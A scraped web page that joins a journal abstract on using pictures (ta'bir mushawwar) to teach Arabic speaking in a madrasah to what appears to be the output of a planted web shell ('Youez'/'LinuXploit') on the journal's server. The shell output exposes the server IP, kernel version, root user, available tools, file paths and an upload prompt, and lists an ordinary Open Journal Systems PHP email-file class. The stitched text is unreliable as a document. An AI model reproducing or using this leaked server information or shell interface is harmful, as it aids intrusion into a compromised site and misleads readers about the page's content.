Efektivitas Strategi Ta’bir Mushawwar dalam Pembelajaran Bahasa Arab di Madrasah Ibtidaiyah
Keywords:
Arabic; speaking skill; ta’bir mushawwar
Abstract
Speaking proficiency is one of the main skills in Arabic language learning, but fourth grade students of MI TPI Keramat face difficulties in assembling mufradat and practicing active conversation, mainly due to the lack of varied learning strategies. This study aims to analyze the effectiveness of the ta'bir mushawwar strategy, which uses picture as a media to facilitate students in constructing sentences and telling stories, in improving Arabic speaking skills. With a quantitative approach and pre-experiment design, this study involved 18 students of class IV-C. Data were collected through tests, observations, and interviews, then analyzed descriptively and N-Gain test. The posttest average was 83.06 (very good category) with 88.9% completeness, and the N-Gain score was 0.6398 which showed effectiveness in the medium category. The ta'bir mushawwar strategy offers a solution in the form of a visual and hands-on learning approach that can significantly improve students' speaking skills and make learning more interesting and interactive.
| Server IP : 103.175.217.176 / Your IP : 3.133.140.88 Web Server : Apache/2.4.62 (Debian) System : Linux bilfathvps 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64 User : root ( 0) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/bilfatvps/html/journal.stitaf.ac.id/lib/pkp/classes/file/ |
Upload File : |
<?php
/**
* @file classes/file/EditableEmailFile.inc.php
*
* Copyright (c) 2014-2019 Simon Fraser University
* Copyright (c) 2000-2019 John Willinsky
* Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
*
* @class EditableEmailFile
* @ingroup file
*
* @brief This class supports updating for email XML files.
*
*/
import('lib.pkp.classes.file.EditableFile');
class EditableEmailFile {
var $locale;
var $editableFile;
/**
* Constructor
* @param $locale string Locale code
* @param $filename string Filename
*/
function __construct($locale, $filename) {
$this->locale = $locale;
$this->editableFile = new EditableFile($filename);
}
/**
* Report whether or not the file exists.
* @return boolean
*/
function exists() {
return $this->editableFile->exists();
}
/**
* Write the file to disk.
* @return boolean True iff success.
*/
function write() {
return $this->editableFile->write();
}
/**
* Get the file contents.
* @return string File contents.
*/
function getContents() {
return $this->editableFile->getContents();
}
/**
* Set the file contents buffer contents.
* @param $contents string
*/
function setContents($contents) {
$this->editableFile->setContents($contents);
}
/**
* Update an email in the buffer.
* @param $key string Email key.
* @param $subject string Email subject.
* @param $body string Email body.
* @param $description string Email description.
* @return boolean True iff success.
*/
function update($key, $subject, $body, $description) {
$matches = null;
$quotedKey = PKPString::regexp_quote($key);
preg_match(
"/<email_text[\W]+key=\"$quotedKey\">/",
$this->getContents(),
$matches,
PREG_OFFSET_CAPTURE
);
if (!isset($matches[0])) return false;
$offset = $matches[0][1];
$closeOffset = strpos($this->getContents(), '</email_text>', $offset);
if ($closeOffset === FALSE) return false;
$newContents = substr($this->getContents(), 0, $offset);
$newContents .= '<email_text key="' . $this->editableFile->xmlEscape($key) . '">
<subject>' . $this->editableFile->xmlEscape($subject) . '</subject>
<body>' . $this->editableFile->xmlEscape($body) . '</body>
<description>' . $this->editableFile->xmlEscape($description) . '</description>
';
$newContents .= substr($this->getContents(), $closeOffset);
$this->setContents($newContents);
return true;
}
/**
* Delete an email from the file buffer.
* @param $key string Email key.
* @return boolean True iff success.
*/
function delete($key) {
$matches = null;
$quotedKey = PKPString::regexp_quote($key);
preg_match(
"/<email_text[\W]+key=\"$quotedKey\">/",
$this->getContents(),
$matches,
PREG_OFFSET_CAPTURE
);
if (!isset($matches[0])) return false;
$offset = $matches[0][1];
preg_match("/<\/email_text>[ \t]*[\r]?\n/", $this->getContents(), $matches, PREG_OFFSET_CAPTURE, $offset);
if (!isset($matches[0])) return false;
$closeOffset = $matches[0][1] + strlen($matches[0][0]);
$newContents = substr($this->getContents(), 0, $offset);
$newContents .= substr($this->getContents(), $closeOffset);
$this->setContents($newContents);
return true;
}
/**
* Insert an email into the file buffer.
* @param $key string Email key.
* @param $subject string Email subject.
* @param $body string Email body.
* @param $description string Email description.
* @return boolean True iff success.
*/
function insert($key, $subject, $body, $description) {
$offset = strrpos($this->getContents(), '</email_texts>');
if ($offset === false) return false;
$newContents = substr($this->getContents(), 0, $offset);
$newContents .= ' <email_text key="' . $this->editableFile->xmlEscape($key) . '">
<subject>' . $this->editableFile->xmlEscape($subject) . '</subject>
<body>' . $this->editableFile->xmlEscape($body) . '</body>
<description>' . $this->editableFile->xmlEscape($description) . '</description>
</email_text>
';
$newContents .= substr($this->getContents(), $offset);
$this->setContents($newContents);
return true;
}
}
Youez - 2016 - github.com/yon3zu
LinuXploit